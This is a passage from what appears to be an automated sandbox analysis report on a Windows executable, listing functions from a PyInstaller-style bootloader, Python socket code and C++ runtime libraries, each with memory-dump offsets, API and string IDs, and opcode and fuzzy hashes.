                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                    • String ID: P%
                                                    • API String ID: 2147705588-2959514604
                                                    • Opcode ID: 028f263e58f42d33d872b22938efc015f71aa7b4c996476cfe5add7d8b08dd36
                                                    • Instruction ID: fa8e9d4263bfe59c2a42506e995e169acd11e49ed0ba84de262ca2074e937121
                                                    • Opcode Fuzzy Hash: 028f263e58f42d33d872b22938efc015f71aa7b4c996476cfe5add7d8b08dd36
                                                    • Instruction Fuzzy Hash: F35109266087A186D6349F26E4581BAB7A2FB98B61F044135EFDE83789DF3CD085DB10
                                                    Function 00007FFE14634D64 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 69COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Bytes_FromSizegetsockopt$Arg_DeallocLongLong_ParseResizeStringTuple_
                                                    • String ID: getsockopt buflen out of range$ii|i:getsockopt
                                                    • API String ID: 3532181676-2750947780
                                                    • Opcode ID: 5785f4cf953136ff891c5de31f97a1d637a2e9c32d7ff5d57b7af9cd89455eeb
                                                    • Instruction ID: 954435105dd79f551f20cdccd3b8e7f1e87a4f7a4b89ff8d3c2f50d64b02c775
                                                    • Opcode Fuzzy Hash: 5785f4cf953136ff891c5de31f97a1d637a2e9c32d7ff5d57b7af9cd89455eeb
                                                    • Instruction Fuzzy Hash: 21310176A1CE82C3EB14CB66E59416AB3B0FB85B68B101175EA4E43774DF3CD409CB80
                                                    Function 00007FFE14635844 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 58COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Buffer_Release$Arg_Err_FromKeywords_Long_ParseSizeSsize_tStringTuple
                                                    • String ID: buffer too small for requested bytes$negative buffersize in recv_into$w*|ni:recv_into
                                                    • API String ID: 1544103690-1758107600
                                                    • Opcode ID: bb841344f6b950a1e502b2b33d21ba6556dc602b5f6c03b78a2cc81f19126a85
                                                    • Instruction ID: 4e3eca140513220ca86ff3871f94fac31252b5a7c63d5d4243fae2a5e5abc774
                                                    • Opcode Fuzzy Hash: bb841344f6b950a1e502b2b33d21ba6556dc602b5f6c03b78a2cc81f19126a85
                                                    • Instruction Fuzzy Hash: A1212C71A0CF9281EB108B53E8842B973A4FB9A7A8F400576D99E43765DF3CE55CC780
                                                    Function 00007FFE146322A0 Relevance: 16.7, APIs: 11, Instructions: 230COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
                                                    • String ID:
                                                    • API String ID: 349153199-0
                                                    • Opcode ID: 9bbd730a66e4cbb51c460212e6bb78fa7447f27bb902fb331a2f3e6d0f89718b
                                                    • Instruction ID: 6775f5f72c109f545b4ec92cb21b7f1c6a2dc6ea735815fb9f507090178071c1
                                                    • Opcode Fuzzy Hash: 9bbd730a66e4cbb51c460212e6bb78fa7447f27bb902fb331a2f3e6d0f89718b
                                                    • Instruction Fuzzy Hash: E1817061E0CE8786FB509B2794D12B92290AF87BACF0444B5D90D437B6DE3CE94DC790
                                                    Function 00007FFDFF176BB0 Relevance: 16.6, APIs: 11, Instructions: 82threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast$ExitFreeLibraryThread
                                                    • String ID:
                                                    • API String ID: 508117893-0
                                                    • Opcode ID: 580b53068f0080d0d9033f2910b561d1e370e0a15cab5eee6688d82db152d996
                                                    • Instruction ID: 7ac9c82644271d629cf2af5c6fc5593588ba2467809ae135ff373104cc13980a
                                                    • Opcode Fuzzy Hash: 580b53068f0080d0d9033f2910b561d1e370e0a15cab5eee6688d82db152d996
                                                    • Instruction Fuzzy Hash: 70310822F0DA4386FF589B24A874E383351AF95BB0F144734D97E866EEDF6CA5458300
                                                    Function 00007FFE1A49A4E8 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
                                                    • API String ID: 2943138195-1464470183
                                                    • Opcode ID: f2c82fd6e231fdf3051f437846c0782e2719a4821ee929760b6b2afc08469b6e
                                                    • Instruction ID: 6bdf5e64a3e9d4da67b95f376d398faf2fe6a4e8b771d22e863ff2991927c96e
                                                    • Opcode Fuzzy Hash: f2c82fd6e231fdf3051f437846c0782e2719a4821ee929760b6b2afc08469b6e
                                                    • Instruction Fuzzy Hash: 15514D61F18A6689FB20CF66E8401BC27B0BB18B64F5041B6DA4E57A74DF39E976C700
                                                    Function 00007FFDFF199C78 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 120COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+$Name::operator+=
                                                    • String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
                                                    • API String ID: 179159573-1464470183
                                                    • Opcode ID: 123fa5a7bbeefb1f99196980d49f1579772984d2ed2af859b650b9bcf8c746b5
                                                    • Instruction ID: cfb94aca4374e9a6a6c07b8448d371597cabd4cca64c6554df9bc1c6677ca783
                                                    • Opcode Fuzzy Hash: 123fa5a7bbeefb1f99196980d49f1579772984d2ed2af859b650b9bcf8c746b5
                                                    • Instruction Fuzzy Hash: 39513C32F1861289F724CF64D8A09BC37B0BB05788F945235DE2D96ADDDF39A5418780
                                                    Function 00007FFE1A498BA4 Relevance: 15.2, APIs: 10, Instructions: 150COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID:
                                                    • API String ID: 2943138195-0
                                                    • Opcode ID: ea53d01b8add9f065da6da89440d1b5514e5cb284af6834d09ce1e9fb4639f71
                                                    • Instruction ID: de968a00a2348c9232a091087010b90e9be961e3bd8289381b7d68127db27c5c
                                                    • Opcode Fuzzy Hash: ea53d01b8add9f065da6da89440d1b5514e5cb284af6834d09ce1e9fb4639f71
                                                    • Instruction Fuzzy Hash: 2C616162B04B52D8FB21DBA5D8401FC37B1BB08BA8F5044B6DE0E6BA69DF78D565C340
                                                    Function 00007FFDFF1984A0 Relevance: 15.2, APIs: 10, Instructions: 150COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID:
                                                    • API String ID: 2943138195-0
                                                    • Opcode ID: 62ad426f42c09a2d13bd2e3653c9cfc29f0f87792ced03e87d30f7dc9c55c2d2
                                                    • Instruction ID: e8877c6013e9e1baf90cca533acc762cb947248097c4ba5e8a9877b6cdb6df5e
                                                    • Opcode Fuzzy Hash: 62ad426f42c09a2d13bd2e3653c9cfc29f0f87792ced03e87d30f7dc9c55c2d2
                                                    • Instruction Fuzzy Hash: 8D614963F14A6698FB10DFA0D8A05EC27B1BB4479CB804636DE2D6BA8DDF78D545C380
                                                    Function 00007FFDFF1691D9 Relevance: 15.1, APIs: 10, Instructions: 72COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1691EF
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1691FD
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF169211
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16922B
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16923E
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16926C
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF169292
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692A9
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692B7
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692C2
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue
                                                    • String ID:
                                                    • API String ID: 1151882462-0
                                                    • Opcode ID: e834d97ef4ceae10f575991ab56cc91b8a699b70186f55b69c610ede9ab8a10e
                                                    • Instruction ID: d146397886a5fcc2b2c38656f80344658ffbba829ed6fdc127be136104053bef
                                                    • Opcode Fuzzy Hash: e834d97ef4ceae10f575991ab56cc91b8a699b70186f55b69c610ede9ab8a10e
                                                    • Instruction Fuzzy Hash: 03314F26F09A4287FB445F65A878C782361AF85BA4F444339D93E877DEDF2CE9418704
                                                    Function 00007FFE14636568 Relevance: 15.1, APIs: 10, Instructions: 59networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Long$Err_FromLong_Socketclosesocket$CurrentDuplicateHandleInformationOccurredProcessWindows
                                                    • String ID:
                                                    • API String ID: 3394293678-0
                                                    • Opcode ID: 0edd20fb7986b937f362815becdc3353667b1d2dbe2f27d78ce67fe63332d1ae
                                                    • Instruction ID: ad00be5cad9e45df2a2f6c8de0e8e73fe68d030d3fdd2fc9dbf71b604055be38
                                                    • Opcode Fuzzy Hash: 0edd20fb7986b937f362815becdc3353667b1d2dbe2f27d78ce67fe63332d1ae
                                                    • Instruction Fuzzy Hash: AA212761B19FC281EA655B23A8987B963D0AF46BBCF440775D86E067F4DF3CE84C4640
                                                    Function 00007FF6399C55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: -$:$f$p$p
                                                    • API String ID: 3215553584-2013873522
                                                    • Opcode ID: 6485ef080591767760fe67f9caec812fff4e1ba5c20858478bd9f0fbec74de2f
                                                    • Instruction ID: 1a77188b7fd9bdab8d0c7d903cfdf57ba97beebbf34d81613c38d95a47a7877f
                                                    • Opcode Fuzzy Hash: 6485ef080591767760fe67f9caec812fff4e1ba5c20858478bd9f0fbec74de2f
                                                    • Instruction Fuzzy Hash: 1F129F62E0C24386FB209E15D9542B97693FB80750FDC4136E689867DEDF3CE990AF06
                                                    Function 00007FF6399C02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: f$f$p$p$f
                                                    • API String ID: 3215553584-1325933183
                                                    • Opcode ID: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
                                                    • Instruction ID: b22143bc2f50c93a94027eabebbc1d648cdc0b5d8ac31c508ef791fd44ae314e
                                                    • Opcode Fuzzy Hash: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
                                                    • Instruction Fuzzy Hash: 1F12AF26E0C14386FF249E14E9147BA6653FB80754F8E4132E699867CEDF3DE980AF10
                                                    Function 00007FFE1A4933E0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 314COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
                                                    • String ID: csm$csm$csm
                                                    • API String ID: 211107550-393685449
                                                    • Opcode ID: 688fb15556d862c72de40c94a9225dad620afe04ad3ce9f2b8c9a53cb021efd3
                                                    • Instruction ID: 54c069e2a3309f3899f51773558a53de3a11fef69519f374103e940f08a4464f
                                                    • Opcode Fuzzy Hash: 688fb15556d862c72de40c94a9225dad620afe04ad3ce9f2b8c9a53cb021efd3
                                                    • Instruction Fuzzy Hash: 76E1A672A08A818AE730DF36D4442BD77A0FB49BA8F1151BADA4E47765CF3CE4A5C700
                                                    Function 00007FFDFF19D5C0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 192COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
                                                    • API String ID: 0-3207858774
                                                    • Opcode ID: 20996663c1b0fb8eb5cc2aad47e9067527360910d4c177074442bd2209240324
                                                    • Instruction ID: d9fffcab7b75ae346f837029bfb2397bdc49fea9d7597711296468940f2a594e
                                                    • Opcode Fuzzy Hash: 20996663c1b0fb8eb5cc2aad47e9067527360910d4c177074442bd2209240324
                                                    • Instruction Fuzzy Hash: E5814C23F08A8A85FB208F65D4609BC37A1AB55788F445235CABD577DEEF2CE645C380
                                                    Function 00007FFE1A49C1D8 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
                                                    • API String ID: 2943138195-2239912363
                                                    • Opcode ID: e6d89d71e33ac373f0738e0b515b9d7d47b180a069a0d86b59b00a9470073de2
                                                    • Instruction ID: e634a94a7322399f9f481952ac5f634a310e1cd11226c63a3c49fb2582d3aa83
                                                    • Opcode Fuzzy Hash: e6d89d71e33ac373f0738e0b515b9d7d47b180a069a0d86b59b00a9470073de2
                                                    • Instruction Fuzzy Hash: A4514962F18F958CFB318B62D8412BD37A4BB48B24F4481F6DA4E12AA5DF3CA174C714
                                                    Function 00007FF6399B1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message
                                                    • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                    • API String ID: 2030045667-3659356012
                                                    • Opcode ID: d77f4b4c11bc54fdb1d3a5c3642b824366d562c40fb2b64a3717ccc9c60c834d
                                                    • Instruction ID: 0656befebd02a607eecd6784ab166cc334db0202db01afd324cccb4f319f27e2
                                                    • Opcode Fuzzy Hash: d77f4b4c11bc54fdb1d3a5c3642b824366d562c40fb2b64a3717ccc9c60c834d
                                                    • Instruction Fuzzy Hash: 6A414D21B0864782FA249F12A8405BAA3A2FF54BC4F4C4031DD5E87BDBEE3CE545AB40
                                                    Function 00007FFDFF19B59C Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
